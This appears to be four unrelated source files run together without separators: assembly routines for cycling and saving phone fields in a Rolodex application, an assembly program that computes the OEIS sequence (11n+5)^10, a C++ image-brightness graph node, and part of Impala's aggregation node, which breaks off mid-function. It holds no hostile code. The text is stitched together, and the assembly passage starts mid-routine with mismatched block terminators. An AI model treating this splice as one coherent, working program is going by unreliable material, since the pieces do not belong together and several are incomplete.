; --------------------------------------------------------- ; Local routine to disable the correct arrow button ; If at an extreme (either first or last), disable the ; UP or DOWN arrow, respectively. If user is in the ; middle, no arrows are disabled. ; disable: cmp cx, MAX_PHONE_NO_RECORD-1 jne enable? ; maximum number of phone entries, disable the down button mov si, offset ScrollDownTrigger ; bx:si - OD of down button GetResourceHandleNS ScrollDownTrigger, bx push di call DisableObjectFixupDSES ; disable phone down button pop di jmp displayPhone enable?: cmp cx, 1 jne skip ; enable the up button mov si, offset ScrollUpTrigger ; bx:si - OD of up button GetResourceHandleNS ScrollUpTrigger, bx push di call EnableObjectFixupDSES ; disable phone up button pop di skip: inc cx jmp displayPhone RolodexPhoneDown endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RolodexPhoneTo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: This routine is called to set the current active item CALLED BY: UPDATE PASS: ds - segment of core block cx = item number RETURN: both gmb.GMB_curPhoneIndex and curPhoneType updated DESTROYED: ax, bx, cx, dx, es, si, di, bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- LES 4/8/2002 Created. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RolodexPhoneTo proc far ; Don't do anything for non-default types cmp cx, NUM_DEFAULT_PHONE_TYPES jae done push cx ; first save the current phone number if it is modified call SaveCurPhone ; save current phone number jc done ; if carry set, exit ; clear the phone number and type fields mov cx, 2 ; cx - # of text fields to clear mov si, TEFO_PHONE_TYPE ; si - offset to phone type name field call ClearTextFields ; clear both phone fields mov di, ds:[curRecord] tst di ; blank record? je done ; if so, skip ; lock the current record entry call DBLockNO mov di, es:[di] pop cx ; ; Determine index of phone type to show next ; cx = current 'gmb.GMB_curPhoneIndex' ; cmp cx, es:[di].DBR_noPhoneNo ; was this last phone number? jb displayPhone ; if not, skip firstPhone: clr cx ; if so, display 1st phone # ; display the phone number displayPhone: mov ds:[gmb.GMB_curPhoneIndex], cx ; save the phone number counter mov bp, ds:[curRecord] ; bp - current record handle call DisplayPhoneNoField ; display this phone number call DBUnlock andnf ds:[recStatus], not mask RSF_EMPTY ; assume not a blank record exit: call FocusPhoneField ; give focus to phone number edit field done: ret ; exit RolodexPhoneTo endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RolodexPhoneUp %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: This routine is called when up arrow to the left of phone fields is pressed. CALLED BY: MSG_ROLODEX_PHONE_UP PASS: ds - segment of core block RETURN: both gmb.GMB_curPhoneIndex and curPhoneType updated DESTROYED: ax, bx, cx, dx, es, si, di, bp PSEUDO CODE/STRATEGY: Save out currently display phone number if modified Clear phone fields Get the previous phone number If 'phoneCount' wraps, use DBR_noPhoneNo as next. Display this phone number and type name KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Ted 12/5/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RolodexPhoneUp proc far class RolodexClass ; class definition ; first save the current phone number if it is modified clr ds:[phoneFieldDirty] call SaveCurPhone ; save current phone number jc done ; if carry set, exit ; clear the phone number and type fields mov cx, 2 ; cx - # of text fields to clear mov si, TEFO_PHONE_TYPE ; si - offset to phone type name field call ClearTextFields ; clear both phone fields mov di, ds:[curRecord] ; restore record handle tst di ; has this record not been created? je blank ; if not, skip to handle it ; lock the current record entry call DBLockNO mov di, es:[di] ; open up the current record cmp es:[di].DBR_noPhoneNo, MAX_PHONE_NO_RECORD ; enough phone #'s? je disable ; if so, disable down button dec ds:[gmb.GMB_curPhoneIndex] ; update the phone number counter jns notFirst ; skip if it was not the 1st phone entry mov ax, es:[di].DBR_noPhoneNo ; ax - total # of phone type names dec ax mov ds:[gmb.GMB_curPhoneIndex], ax ; get the last phone entry notFirst: ; display the phone number mov cx, ds:[gmb.GMB_curPhoneIndex] ; cx - new phone number counter mov bp, ds:[curRecord] ; bp - current record handle call DisplayPhoneNoField ; display the phone number call DBUnlock andnf ds:[recStatus], not mask RSF_EMPTY ; assume not a blank record exit: andnf ds:[phoneFlag], not mask PF_DONT_INC_CUR_PHONE_INDEX ; clear flag call FocusPhoneField ; give focus to phone number edit field done: ret ; --------------------------------------------------------- ; The record is blank, use default counts for cycling. ; One empty phone type is shown. ; blank: dec ds:[gmb.GMB_curPhoneIndex] ; update phone number counter jns decrement ; skip if it wasn't the 1st phone # mov ax, NUM_DEFAULT_PHONE_TYPES-1 ; ax - total number of phone type names mov ds:[gmb.GMB_curPhoneIndex], ax ; get the last phone entry decrement: mov cx, ds:[gmb.GMB_curPhoneIndex] ; cx - phone number counter inc cx mov ds:[curPhoneType], cl ; save the current phone type ID call DisplayPhoneType ; display this phone number jmp exit ; --------------------------------------------------------- ; Local routine to disable the correct arrow button ; If at an extreme (either first or last), disable the ; UP or DOWN arrow, respectively. If user is in the ; middle, no arrows are disabled. ; disable: cmp ds:[gmb.GMB_curPhoneIndex], 1 jne enable? ; maximum number of phone entries, disable the up button mov si, offset ScrollUpTrigger ; bx:si - OD of up button GetResourceHandleNS ScrollUpTrigger, bx push di call DisableObjectFixupDSES ; disable phone up button pop di jmp short notFirst enable?: cmp ds:[gmb.GMB_curPhoneIndex], MAX_PHONE_NO_RECORD-1 jne skip ; enable the down button mov si, offset ScrollDownTrigger ; bx:si - OD of down button GetResourceHandleNS ScrollDownTrigger, bx push di call EnableObjectFixupDSES ; enable phone down button pop di skip: dec ds:[gmb.GMB_curPhoneIndex] jmp short notFirst RolodexPhoneUp endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SaveCurPhone %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Save the current phone type name and number if necessary. CALLED BY: RolodexPhoneDown, RolodexPhoneUp PASS: recStatus - various record flags RETURN: di - record handle updated carry set if error DESTROYED: ax, bx, cx, dx, es, si, di, bp PSEUDO CODE/STRATEGY: Read in phone fields If modified { If created but not yet inserted { Update the record } If not created { Create a new record } } Else { delete all memory chunks } Exit KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Ted 12/7/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SaveCurPhone proc far tst ds:[curRecord] ; is current record blank? jne savePhone ; if not, skip ; delete an undoItem if undo was performed mov di, ds:[undoItem] ; did an undo operation get performed? tst di je savePhone ; if not, skip call NewDBFree ; if so, delete this DB item clr ds:[undoItem] call DisableUndo ; disable undo menu savePhone: ; read phone field text strings into memory blocks mov cx, 2 ; cx - number of fields to read in mov di, TEFO_PHONE_TYPE ; di - offset to FieldTable call GetRecord ; read in phone fields ; check to see if phone fields have been modified mov bx, 2 ; bx - number of fields to compare mov bp, TEFO_PHONE_TYPE ; bp - offset into FieldTable call CompareRecord ; any of them modified? jne dirty ; if not, skip ; if the phone number field is edited and the user hits ; carriage return, then the text object is no longer ; marked as modified. However we still need to read in the number mov bx, ds:[phoneFieldDirty] test bl, mask GTSF_MODIFIED je delete ornf ds:[dirtyFields], mask DFF_PHONE_NO dirty: call MarkMapDirty ; mark the map block dirty tst ds:[curRecord] ; is it new record? je newRecord1 ; if so, skip test ds:[recStatus], mask RSF_UPDATE ; has CopyPhone been called? jne update ; if so, skip mov di, ds:[undoItem] ; was undo operation performed? tst di je freeMem ; if not, skip call NewDBFree ; if so, delete this DB item freeMem: mov cx, 2 ; cx - number of fields mov bp, TEFO_PHONE_TYPE ; bp - offset to table of field handles call FreeMemChunks ; delete any unnecessary mem chunks mov di, ds:[curRecord] mov ds:[undoItem], di ; save the current record handle cmp ds:[undoAction], UNDO_CHANGE ; has cur record been changed? jge change ; if so, skip mov ds:[gmb.GMB_orgRecord], di change: mov ds:[undoAction], UNDO_CHANGE ; set the change flag mov cx, NUM_TEXT_EDIT_FIELDS+1 ; cx - # fields to read in ; add one for the note field clr di ; di - offset to FieldTable call GetRecord ; read in phone fields clr ax jmp short newRecord2 update: mov ax, -1 ; flag - update only phone fields call UpdateRecord ; update the record jmp short exit ; exit newRecord1: mov ax, -1 ; flag - init. only phone fields newRecord2: call InitRecord ; create a new record and initialize exit: ret delete: mov cx, 2 ; cx - number of fields mov bp, TEFO_PHONE_TYPE ; bp - offset to table of field hanldes call FreeMemChunks ; delete any unnecessary mem chunks clc ; return with no error jmp short exit SaveCurPhone endp CommonCode ends
; A017458: a(n) = (11*n + 5)^10. ; 9765625,1099511627776,205891132094649,6278211847988224,79792266297612001,604661760000000000,3255243551009881201,13744803133596058624,48398230717929318249,148024428491834392576,404555773570791015625,1008568618886953829376,2329194047563391944849,5042166166892418433024,10326930237613180030401,20159939004490000000000,37738596846955704499801,68078861925529707085824,118839380482575369225049,201436298986451489022976,332525673007965087890625,535944760708973357694976,845219547726738091164049,1306763693175932538061824,1983913807584764801017801,2961967666954240000000000,4354415726901861885367401,6310582221144799758337024,9024920303514444856660849,12748236216396078174437376,17801150435075795400390625,24590139241073610670744576,33626538312268515533112249,45548930777599929298714624,61149385863482168213854201,81404060851916010000000000,107508728670745863687204001,140919846138714198689972224,183401833786028468140265649,237081297359201505991115776,304508983691076011728515625,388730329667318987070898176,493365532643394582186749449,622700143955215471113831424,781787264216455333610219601,976562500000000000000000000,1213972926354344043087129601,1502121388502024803291751424,1850427569100548736206279449,2269807344710827302165938176,2772872056708023101572265625,3374149427879033323990475776,4090327966473728549854635649,4940526814607642247350452224,5946593117746191670096194001,7133429116628826010000000000,8529351292509864320528664201,10166484031095325624971034624,12081190410135888488510542249,14314542860389368888428184576,16912836599685895189931640625,19928148895209409152340197376,23418947369944353878040930849,27450750735620545201161217024,32096845506516383920668257401,37439062426244874240000000000,43568616523242490508745727801,50587014900201901597720781824,58607036558230041703410494049,67753788758167129797585534976,78165844629364109039306640625,89996466950379723975933182976,103414923246618199003519395049,118607897576978348061516365824,135781004615219054628389289801,155160411872058534490000000000,176994576151109753197786640401,201556100585705937345287553024,229143718864582415495797174849,260084413522348172517300069376,294735675445796621949697265625,333487912029464316570108952576,376767011703542749261101388249,425037072854376166350435738624,478803305462431545505764571201,538615114094899701760000000000,605069371210073000039238122001,678813890058439492391539508224,760551106801129584697927224649,851041981810043692713064267776,951110130465771892558603515625,1061646194129383428003557426176,1183612462332409227739603870449,1318047757605958432121420775424,1466072594754994452219317781601,1628894626777441406250000000000,1807814390030092021237649292601,2004231361654337372838034407424,2219650342694631285359454883449,2455688180771431948862377010176 mul $0,11 add $0,5 pow $0,10
#include <vx_ext_rpp.h> #include "node_brightness.h" #include "exception.h" BrightnessNode::BrightnessNode(const std::vector<Image*>& inputs, const std::vector<Image*>& outputs): Node(inputs, outputs), _alpha(ALPHA_OVX_PARAM_IDX, ALPHA_RANGE[0], ALPHA_RANGE[1]), _beta (BETA_OVX_PARAM_IDX, BETA_RANGE[0], BETA_RANGE[1]) { } void BrightnessNode::init( float alpha, int beta) { _alpha.set_param(alpha); _beta.set_param(beta); } void BrightnessNode::init( FloatParam* alpha, IntParam* beta) { _alpha.set_param(core(alpha)); _beta.set_param(core(beta)); } void BrightnessNode::create(std::shared_ptr<Graph> graph) { if(_node) return; _graph = graph; if(_outputs.empty() || _inputs.empty()) THROW("Uninitialized input/output arguments") _node = vxExtrppNode_brightness(_graph->get(), _inputs[0]->handle(), _outputs[0]->handle(), _alpha.default_value(), _beta.default_value()); vx_status status; if((status = vxGetStatus((vx_reference)_node)) != VX_SUCCESS) THROW("Adding the brightness (vxExtrppNode_brightness) node failed: "+ TOSTR(status)) _alpha.create(_node); _beta.create(_node); } void BrightnessNode::update_parameters() { _alpha.update(); _beta.update(); }
// Copyright 2012 Cloudera Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "exec/aggregation-node.h" #include <math.h> #include <sstream> #include <boost/functional/hash.hpp> #include <thrift/protocol/TDebugProtocol.h> #include <x86intrin.h> #include "codegen/codegen-anyval.h" #include "codegen/llvm-codegen.h" #include "exec/hash-table.inline.h" #include "exprs/agg-fn-evaluator.h" #include "exprs/expr.h" #include "runtime/descriptors.h" #include "runtime/mem-pool.h" #include "runtime/raw-value.h" #include "runtime/row-batch.h" #include "runtime/runtime-state.h" #include "runtime/string-value.inline.h" #include "runtime/tuple.h" #include "runtime/tuple-row.h" #include "udf/udf-internal.h" #include "util/debug-util.h" #include "util/runtime-profile.h" #include "gen-cpp/Exprs_types.h" #include "gen-cpp/PlanNodes_types.h" using namespace impala; using namespace std; using namespace boost; using namespace llvm; namespace impala { const char* AggregationNode::LLVM_CLASS_NAME = "class.impala::AggregationNode"; // TODO: pass in maximum size; enforce by setting limit in mempool AggregationNode::AggregationNode(ObjectPool* pool, const TPlanNode& tnode, const DescriptorTbl& descs) : ExecNode(pool, tnode, descs), agg_tuple_id_(tnode.agg_node.agg_tuple_id), agg_tuple_desc_(NULL), singleton_output_tuple_(NULL), codegen_process_row_batch_fn_(NULL), process_row_batch_fn_(NULL), is_merge_(tnode.agg_node.__isset.is_merge ? tnode.agg_node.is_merge : false), needs_finalize_(tnode.agg_node.need_finalize), build_timer_(NULL), get_results_timer_(NULL), hash_table_buckets_counter_(NULL) { } Status AggregationNode::Init(const TPlanNode& tnode) { RETURN_IF_ERROR(ExecNode::Init(tnode)); RETURN_IF_ERROR( Expr::CreateExprTrees(pool_, tnode.agg_node.grouping_exprs, &probe_exprs_)); for (int i = 0; i < tnode.agg_node.aggregate_functions.size(); ++i) { AggFnEvaluator* evaluator; RETURN_IF_ERROR(AggFnEvaluator::Create( pool_, tnode.agg_node.aggregate_functions[i], &evaluator)); aggregate_evaluators_.push_back(evaluator); } return Status::OK; } Status AggregationNode::Prepare(RuntimeState* state) { SCOPED_TIMER(runtime_profile_->total_time_counter()); RETURN_IF_ERROR(ExecNode::Prepare(state)); tuple_pool_.reset(new MemPool(mem_tracker())); build_timer_ = ADD_TIMER(runtime_profile(), "BuildTime"); get_results_timer_ = ADD_TIMER(runtime_profile(), "GetResultsTime"); hash_table_buckets_counter_ = ADD_COUNTER(runtime_profile(), "BuildBuckets", TCounterType::UNIT); hash_table_load_factor_counter_ = ADD_COUNTER(runtime_profile(), "LoadFactor", TCounterType::DOUBLE_VALUE); agg_tuple_desc_ = state->desc_tbl().GetTupleDescriptor(agg_tuple_id_); RETURN_IF_ERROR(Expr::Prepare(probe_exprs_, state, child(0)->row_desc(), false)); // Construct build exprs from agg_tuple_desc_ for (int i = 0; i < probe_exprs_.size(); ++i) { SlotDescriptor* desc = agg_tuple_desc_->slots()[i]; Expr* expr = new SlotRef(desc); state->obj_pool()->Add(expr); build_exprs_.push_back(expr); } RETURN_IF_ERROR(Expr::Prepare(build_exprs_, state, row_desc(), false)); int j = probe_exprs_.size(); for (int i = 0; i < aggregate_evaluators_.size(); ++i, ++j) { // skip non-materialized slots; we don't have evaluators instantiated for those while (!agg_tuple_desc_->slots()[j]->is_materialized()) { DCHECK_LT(j, agg_tuple_desc_->slots().size() - 1) << "#eval= " << aggregate_evaluators_.size() << " #probe=" << probe_exprs_.size(); ++j; } SlotDescriptor* desc = agg_tuple_desc_->slots()[j]; RETURN_IF_ERROR(aggregate_evaluators_[i]->Prepare(state, child(0)->row_desc(), desc)); } // TODO: how many buckets? hash_tbl_.reset(new HashTable(state, build_exprs_, probe_exprs_, 1, true, true, id(), mem_tracker())); if (probe_exprs_.empty()) { // create single output tuple now; we need to output something // even if our input is empty singleton_output_tuple_ = ConstructAggTuple(); hash_tbl_->Insert(reinterpret_cast<TupleRow*>(&singleton_output_tuple_)); output_iterator_ = hash_tbl_->Begin(); } if (state->codegen_enabled()) { DCHECK(state->codegen() != NULL); Function* update_tuple_fn = CodegenUpdateAggTuple(state->codegen()); if (update_tuple_fn != NULL) { codegen_process_row_batch_fn_ = CodegenProcessRowBatch(state->codegen(), update_tuple_fn); if (codegen_process_row_batch_fn_ != NULL) { // Update to using codegen'd process row batch. state->codegen()->AddFunctionToJit( codegen_process_row_batch_fn_, reinterpret_cast<void**>(&process_row_batch_fn_)); AddRuntimeExecOption("Codegen Enabled"); } } } return Status::OK; } Status AggregationNode::Open(RuntimeState* state) { SCOPED_TIMER(runtime_profile_->total_time_counter()); RETURN_IF_ERROR(ExecNode::Open(state)); RETURN_IF_ERROR(Expr::Open(probe_exprs_, state)); RETURN_IF_ERROR(Expr::Open(build_exprs_, state)); for (int i = 0; i < aggregate_evaluators_.size(); ++i) { RETURN_IF_ERROR(aggregate_evaluators_[i]->Open(state)); } RETURN_IF_ERROR(children_[0]->Open(state)); RowBatch batch(children_[0]->row_desc(), state->batch_size(), mem_tracker()); int64_t num_input_rows = 0; while (true) { bool eos; RETURN_IF_CANCELLED(state); RETURN_IF_ERROR(state->CheckQueryState()); RETURN_IF_ERROR(children_[0]->GetNext(state, &batch, &eos)); SCOPED_TIMER(build_timer_); if (VLOG_ROW_IS_ON) { for (int i = 0; i < batch.num_rows(); ++i) { TupleRow* row = batch.GetRow(i); VLOG_ROW << "input row: " << PrintRow(row, children_[0]->row_desc()); } } if (process_row_batch_fn_ != NULL) { process_row_batch_fn_(this, &batch); } else if (probe_exprs_.empty()) { ProcessRowBatchNoGrouping(&batch); } else { ProcessRowBatchWithGrouping(&batch); } COUNTER_SET(hash_table_buckets_counter_, hash_tbl_->num_buckets()); COUNTER_SET(hash_table_load_factor_counter_, hash_tbl_->load_factor()); num_input_rows += batch.num_rows(); // We must set output_iterator_ here, rather than outside the loop, because // output_iterator_ must be set if the function returns within the loop output_iterator_ = hash_tbl_->Begin(); batch.Reset(); RETURN_IF_ERROR(state->CheckQueryState()); if (eos) break; } // We have consumed all of the input from the child and transfered ownership of the // resources we need, so the child can be closed safely to release its resources. child(0)->Close(state); VLOG_FILE << "aggregated " << num_input_rows << " input rows into " << hash_tbl_->size() << " output rows"; return Status::OK; } Status AggregationNode::GetNext(RuntimeState* state, RowBatch* row_batch, bool* eos) { SCOPED_TIMER(runtime_profile_->total_time_counter()); RETURN_IF_ERROR(ExecDebugAction(TExecNodePhase::GETNEXT, state)); RETURN_IF_CANCELLED(state); RETURN_IF_ERROR(state->CheckQueryState()); SCOPED_TIMER(get_results_timer_); if (ReachedLimit()) { *eos = true; return Status::OK; } Expr** conjuncts = &conjuncts_[0]; int num_conjuncts = conjuncts_.size(); while (!output_iterator_.AtEnd() && !row_batch->AtCapacity()) { int row_idx = row_batch->AddRow(); TupleRow* row = row_batch->GetRow(row_idx); Tuple* agg_tuple = output_iterator_.GetRow()->GetTuple(0); FinalizeAggTuple(agg_tuple); output_iterator_.Next<false>(); row->SetTuple(0, agg_tuple); if (ExecNode::EvalConjuncts(conjuncts, num_conjuncts, row)) { VLOG_ROW << "output row: " << PrintRow(row, row_desc()); row_batch->CommitLastRow(); ++num_rows_returned_; if (ReachedLimit()) break; } } *eos = output_iterator_.AtEnd() || ReachedLimit(); COUNTER_SET(rows_returned_counter_, num_rows_returned_); return Status::OK; } void AggregationNode::Close(RuntimeState* state) { if (is_closed()) return; // Iterate through the remaining rows in the hash table and call Serialize/Finalize on // them in order to free any memory allocated by UDAs while (!output_iterator_.AtEnd()) { Tuple* agg_tuple = output_iterator_.GetRow()->GetTuple(0); FinalizeAggTuple(agg_tuple); output_iterator_.Next<false>(); } if (tuple_pool_.get() != NULL) tuple_pool_->FreeAll(); if (hash_tbl_.get() != NULL) hash_tbl_->Close(); for (int i = 0; i < aggregate_evaluators_.size(); ++i) { aggregate_evaluators_[i]->Close(state); } Expr::Close(probe_exprs_, state); Expr::Close(build_exprs_, state); ExecNode::Close(state); } Tuple* AggregationNode::ConstructAggTuple() { Tuple* agg_tuple = Tuple::Create(agg_tuple_desc_->byte_size(), tuple_pool_.get()); vector<SlotDescriptor*>::const_iterator slot_desc = agg_tuple_desc_->slots().begin(); // copy grouping values for (int i = 0; i < probe_exprs_.size(); ++i, ++slot_desc) { if (hash_tbl_->last_expr_value_null(i)) { agg_tuple->SetNull((*slot_desc)->null_indicator_offset()); } else { void* src = hash_tbl_->last_expr_value(i); void* dst = agg_tuple->GetSlot((*slot_desc)->tuple_offset()); RawValue::Write(src, dst, (*slot_desc)->type(), tuple_pool_.get()); } } // Initialize aggregate output. for (int i = 0; i < aggregate_evaluators_.size(); ++i, ++slot_desc) { while (!(*slot_desc)->is_materialized()) ++slot_desc; AggFnEvaluator* evaluator = aggregate_evaluators_[i]; evaluator->Init(agg_tuple); // Codegen specific path. // To minimize branching on the UpdateAggTuple path, initialize the result value // so that UpdateAggTuple doesn't have to check if the aggregation // dst slot is null. // - sum/count: 0 // - min: max_value // - max: min_value // TODO: remove when we don't use the irbuilder for codegen here. // This optimization no longer applies with AnyVal if ((*slot_desc)->type().type != TYPE_STRING && (*slot_desc)->type().type != TYPE_TIMESTAMP && (*slot_desc)->type().type != TYPE_CHAR && (*slot_desc)->type().type != TYPE_DECIMAL) { ExprValue default_value; void* default_value_ptr = NULL; switch (evaluator->agg_op()) { case AggFnEvaluator::MIN: default_value_ptr = default_value.SetToMax((*slot_desc)->type()); RawValue::Write(default_value_ptr, agg_tuple, *slot_desc, NULL); break; case AggFnEvaluator::MAX: default_value_ptr = default_value.SetToMin((*slot_desc)->type()); RawValue::Write(default_value_ptr, agg_tuple, *slot_desc, NULL); break; default: break; } } } return agg_tuple; } void AggregationNode::UpdateAggTuple(Tuple* tuple, TupleRow* row) { DCHECK(tuple != NULL || aggregate_evaluators_.empty()); for (vector<AggFnEvaluator*>::const_iterator evaluator = aggregate_evaluators_.begin(); evaluator != aggregate_evaluators_.end(); ++evaluator) { if (is_merge_) { (*evaluator)->Merge(row, tuple); } else { (*evaluator)->Update(row, tuple); } } } void AggregationNode::FinalizeAggTuple(Tuple* tuple) { DCHECK(tuple != NULL || aggregate_evaluators_.empty()); for (vector<AggFnEvaluator*>::const_iterator evaluator = aggregate_evaluators_.begin(); evaluator != aggregate_evaluators_.end(); ++evaluator) { if (needs_finalize_) { (*evaluator)->Finalize(tuple); } else { (*evaluator)->Serialize(tuple); } } } void AggregationNode::DebugString(int indentation_level, stringstream* out) const { *out << string(indentation_level * 2, ' '); *out << "AggregationNode(tuple_id=" << agg_tuple_id_ << " is_merge=" << is_merge_ << " needs_finalize=" << needs_finalize_ << " probe_exprs=" << Expr::DebugString(probe_exprs_) << " agg_exprs=" << AggFnEvaluator::DebugString(aggregate_evaluators_); ExecNode::DebugString(indentation_level, out); *out << ")"; } IRFunction::Type GetHllUpdateFunction(const ColumnType& type) { switch (type.type) { case TYPE_BOOLEAN: return IRFunction::HLL_UPDATE_BOOLEAN; case TYPE_TINYINT: return IRFunction::HLL_UPDATE_TINYINT; case TYPE_SMALLINT: return IRFunction::HLL_UPDATE_SMALLINT; case TYPE_INT: return IRFunction::HLL_UPDATE_INT; case TYPE_BIGINT: return IRFunction::HLL_UPDATE_BIGINT; case TYPE_FLOAT: return IRFunction::HLL_UPDATE_FLOAT; case TYPE_DOUBLE: return IRFunction::HLL_UPDATE_DOUBLE; case TYPE_STRING: return IRFunction::HLL_UPDATE_STRING; case TYPE_DECIMAL: return IRFunction::HLL_UPDATE_DECIMAL; default: DCHECK(false) << "Unsupported type: " << type; return IRFunction::FN_END; } } // IR Generation for updating a single aggregation slot. Signature is: // void UpdateSlot(FunctionContext* fn_ctx, AggTuple* agg_tuple, char** row) // // The IR for sum(double_col) is: // define void @UpdateSlot(%"class.impala_udf::FunctionContext"* %fn_ctx, // { i8, double }* %agg_tuple, i8** %row) { // entry: // %src_null_ptr = alloca i1 // %src_value = call double @SlotRef(i8** %row, i8* null, i1* %src_null_ptr) // %child_null = load i1* %src_null_ptr // br i1 %child_null, label %ret, label %src_not_null // // src_not_null: ; preds = %entry // %dst_slot_ptr = getelementptr inbounds { i8, double }* %agg_tuple, i32 0, i32 1 // call void @SetNotNull({ i8, double }* %agg_tuple) // %dst_val = load double* %dst_slot_ptr // %0 = fadd double %dst_val, %src_value // store double %0, double* %dst_slot_ptr // br label %ret // // ret: ; preds = %src_not_null, %entry // ret void // } // // The IR for ndv(double_col) is: // define void @UpdateSlot(%"class.impala_udf::FunctionContext"* %fn_ctx, // { i8, %"struct.impala::StringValue" }* %agg_tuple, // i8** %row) { // entry: // %src_null_ptr = alloca i1 // %src_value = call double @SlotRef(i8** %row, i8* null, i1* %src_null_ptr) // %child_null = load i1* %src_null_ptr // br i1 %child_null, label %ret, label %src_not_null // // src_not_null: ; preds = %entry // %dst_slot_ptr = getelementptr inbounds // { i8, %"struct.impala::StringValue" }* %agg_tuple, i32 0, i32 1 // call void @SetNotNull({ i8, %"struct.impala::StringValue" }* %agg_tuple) // %dst_val = load %"struct.impala::StringValue"* %dst_slot_ptr // %src_anyval = insertvalue { i8, double } zeroinitializer, double %src_value, 1 // %src_lowered_ptr = alloca { i8, double } // store { i8, double } %src_anyval, { i8, double }* %src_lowered_ptr // %src_unlowered_ptr = bitcast { i8, double }* %src_lowered_ptr to // %"struct.impala_udf::DoubleVal"* // %ptr = extractvalue %"struct.impala::StringValue" %dst_val, 0 // %dst_stringval = insertvalue { i64, i8* } zeroinitializer, i8* %ptr, 1 // %len = extractvalue %"struct.impala::StringValue" %dst_val, 1 // %0 = extractvalue { i64, i8* } %dst_stringval, 0 // %1 = zext i32 %len to i64 // %2 = shl i64 %1, 32 // %3 = and i64 %0, 0 // %4 = or i64 %3, %2 // %dst_stringval1 = insertvalue { i64, i8* } %dst_stringval, i64 %4, 0 // %dst_lowered_ptr = alloca { i64, i8* } // store { i64, i8* } %dst_stringval1, { i64, i8* }* %dst_lowered_ptr // %dst_unlowered_ptr = bitcast { i64, i8* }* %dst_lowered_ptr to // %"struct.impala_udf::StringVal"* // call void @HllUpdate(%"class.impala_udf::FunctionContext"* %fn_ctx, // %"struct.impala_udf::DoubleVal"* %src_unlowered_ptr, // %"struct.impala_udf::StringVal"* %dst_unlowered_ptr) // %anyval_result = load { i64, i8* }* %dst_lowered_ptr // %5 = extractvalue { i64, i8* } %anyval_result, 1 // %6 = insertvalue %"struct.impala::StringValue" zeroinitializer, i8* %5, 0 // %7 = extractvalue { i64, i8* } %anyval_result, 0 // %8 = ashr i64 %7, 32 // %9 = trunc i64 %8 to i32 // %10 = insertvalue %"struct.impala::StringValue" %6, i32 %9, 1 // store %"struct.impala::StringValue" %10, // %"struct.impala::StringValue"* %dst_slot_ptr // br label %ret // // ret: ; preds = %src_not_null, %entry // ret void // } llvm::Function* AggregationNode::CodegenUpdateSlot( LlvmCodeGen* codegen, AggFnEvaluator* evaluator, SlotDescriptor* slot_desc) { int field_idx = slot_desc->field_idx(); DCHECK(slot_desc->is_materialized()); LLVMContext& context = codegen->context(); PointerType* fn_ctx_type = codegen->GetPtrType(FunctionContextImpl::LLVM_FUNCTIONCONTEXT_NAME); StructType* tuple_struct = agg_tuple_desc_->GenerateLlvmStruct(codegen); PointerType* tuple_ptr_type = PointerType::get(tuple_struct, 0); PointerType* ptr_type = codegen->ptr_type(); // Create UpdateSlot prototype LlvmCodeGen::FnPrototype prototype(codegen, "UpdateSlot", codegen->void_type()); prototype.AddArgument(LlvmCodeGen::NamedVariable("fn_ctx", fn_ctx_type)); prototype.AddArgument(LlvmCodeGen::NamedVariable("agg_tuple", tuple_ptr_type)); prototype.AddArgument(LlvmCodeGen::NamedVariable("row", PointerType::get(ptr_type, 0))); LlvmCodeGen::LlvmBuilder builder(context); Value* args[3]; Function* fn = prototype.GeneratePrototype(&builder, &args[0]); Value* fn_ctx_arg = args[0]; Value* agg_tuple_arg = args[1]; Value* row_arg = args[2]; LlvmCodeGen::NamedVariable null_var("src_null_ptr", codegen->boolean_type()); Value* src_is_null_ptr = codegen->CreateEntryBlockAlloca(fn, null_var); // Call expr function to get src slot value DCHECK_EQ(evaluator->input_exprs().size(), 1); Expr* input_expr = evaluator->input_exprs()[0]; Function* agg_expr_fn = input_expr->codegen_fn(); int scratch_buffer_size = input_expr->scratch_buffer_size(); DCHECK_EQ(scratch_buffer_size, 0); DCHECK(agg_expr_fn != NULL); if (agg_expr_fn == NULL) return NULL; BasicBlock* src_not_null_block, *ret_block; codegen->CreateIfElseBlocks(fn, "src_not_null", "ret", &src_not_null_block, &ret_block); Value* expr_args[] = { row_arg, ConstantPointerNull::get(ptr_type), src_is_null_ptr }; Value* src_value = input_expr->CodegenGetValue(codegen, builder.GetInsertBlock(), expr_args, ret_block, src_not_null_block, "src_value"); // Src slot is not null, update dst_slot builder.SetInsertPoint(src_not_null_block); Value* dst_ptr = builder.CreateStructGEP(agg_tuple_arg, field_idx, "dst_slot_ptr"); Value* result = NULL; if (slot_desc->is_nullable()) { // 